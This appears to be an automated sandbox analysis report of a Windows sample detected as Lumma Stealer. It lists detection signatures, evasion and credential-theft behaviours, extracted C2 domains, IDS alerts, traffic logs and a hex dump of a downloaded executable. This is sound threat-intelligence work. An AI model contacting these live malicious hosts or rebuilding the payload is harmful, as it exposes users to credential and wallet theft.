Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1559827
MD5:	541b872e94f7b7ad57742c3072631a9f
SHA1:	819a299878072e8150ee4158d36f651b2f9d7a41
SHA256:	b4be25f5fea95a90e948458d9b052084154b9bae1b0bd43d067f94e9af8ddccc
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Entry point lies outside standard sections

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7720 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 541B872E94F7B7AD57742C3072631A9F)

chrome.exe (PID: 6036 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7704 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=2084,i,5716946002781068814,4123827612184588113,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 6724 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 5852 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2080 --field-trial-handle=1904,i,16795876355070056049,5911433599732302712,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["p3ar11fter.sbs", "processhol.sbs", "3xp3cts1aim.sbs", "peepburry828.sbs", "p10tgrace.sbs"], "Build id": "LOGS11--LiveTraffic"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.1467225096.00000000016D0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1443418925.00000000016D0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7720	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 7720	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7720	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 1 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T00:02:58.505264+0100	2028371	3	Unknown Traffic	192.168.2.7	49702	188.114.96.3	443	TCP
2024-11-21T00:03:00.567345+0100	2028371	3	Unknown Traffic	192.168.2.7	49703	188.114.96.3	443	TCP
2024-11-21T00:03:02.926530+0100	2028371	3	Unknown Traffic	192.168.2.7	49709	188.114.96.3	443	TCP
2024-11-21T00:03:05.520858+0100	2028371	3	Unknown Traffic	192.168.2.7	49715	188.114.96.3	443	TCP
2024-11-21T00:03:08.145154+0100	2028371	3	Unknown Traffic	192.168.2.7	49722	188.114.96.3	443	TCP
2024-11-21T00:03:10.682500+0100	2028371	3	Unknown Traffic	192.168.2.7	49731	188.114.96.3	443	TCP
2024-11-21T00:03:13.252611+0100	2028371	3	Unknown Traffic	192.168.2.7	49740	188.114.96.3	443	TCP
2024-11-21T00:03:18.388324+0100	2028371	3	Unknown Traffic	192.168.2.7	49754	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T00:02:59.203552+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49702	188.114.96.3	443	TCP
2024-11-21T00:03:01.344447+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49703	188.114.96.3	443	TCP
2024-11-21T00:03:19.510650+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49754	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T00:02:59.203552+0100	2049836	1	A Network Trojan was detected	192.168.2.7	49702	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T00:03:01.344447+0100	2049812	1	A Network Trojan was detected	192.168.2.7	49703	188.114.96.3	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T00:02:58.505264+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.7	49702	188.114.96.3	443	TCP
2024-11-21T00:03:00.567345+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.7	49703	188.114.96.3	443	TCP
2024-11-21T00:03:02.926530+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.7	49709	188.114.96.3	443	TCP
2024-11-21T00:03:05.520858+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.7	49715	188.114.96.3	443	TCP
2024-11-21T00:03:08.145154+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.7	49722	188.114.96.3	443	TCP
2024-11-21T00:03:10.682500+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.7	49731	188.114.96.3	443	TCP
2024-11-21T00:03:13.252611+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.7	49740	188.114.96.3	443	TCP
2024-11-21T00:03:18.388324+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.7	49754	188.114.96.3	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T00:03:20.989548+0100	2019714	2	Potentially Bad Traffic	192.168.2.7	49760	185.215.113.16	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (cook-rain .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T00:02:56.957890+0100	2057730	1	Domain Observed Used for C2 Detected	192.168.2.7	52127	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T00:03:03.812856+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.7	49709	188.114.96.3	443	TCP

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: file.exe, 00000000.00000002.1724038399.0000000006342000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1643028943.00000000086F0000.00000004.00001000.00020000.00000000.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.7:49702 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057730 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (cook-rain .sbs) : 192.168.2.7:52127 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.7:49703 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.7:49715 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.7:49709 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.7:49731 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.7:49722 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.7:49740 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.7:49754 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49702 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49702 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.7:49709 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:49703 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49703 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49754 -> 188.114.96.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: p3ar11fter.sbs
Source: Malware configuration extractor	URLs: processhol.sbs
Source: Malware configuration extractor	URLs: 3xp3cts1aim.sbs
Source: Malware configuration extractor	URLs: peepburry828.sbs
Source: Malware configuration extractor	URLs: p10tgrace.sbs

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 20 Nov 2024 23:03:20 GMTContent-Type: application/octet-streamContent-Length: 2739712Last-Modified: Wed, 20 Nov 2024 22:51:00 GMTConnection: keep-aliveETag: "673e67d4-29ce00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2a 00 00 04 00 00 9a 20 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6d 73 76 75 74 6c 63 65 00 80 29 00 00 a0 00 00 00 6e 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 74 61 69 6d 6e 76 78 00 20 00 00 00 20 2a 00 00 04 00 00 00 a8 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 40 2a 00 00 22 00 00 00 ac 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 13.107.246.45 13.107.246.45
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49702 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49703 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49715 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49709 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49731 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49722 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49740 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49754 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.7:49760 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
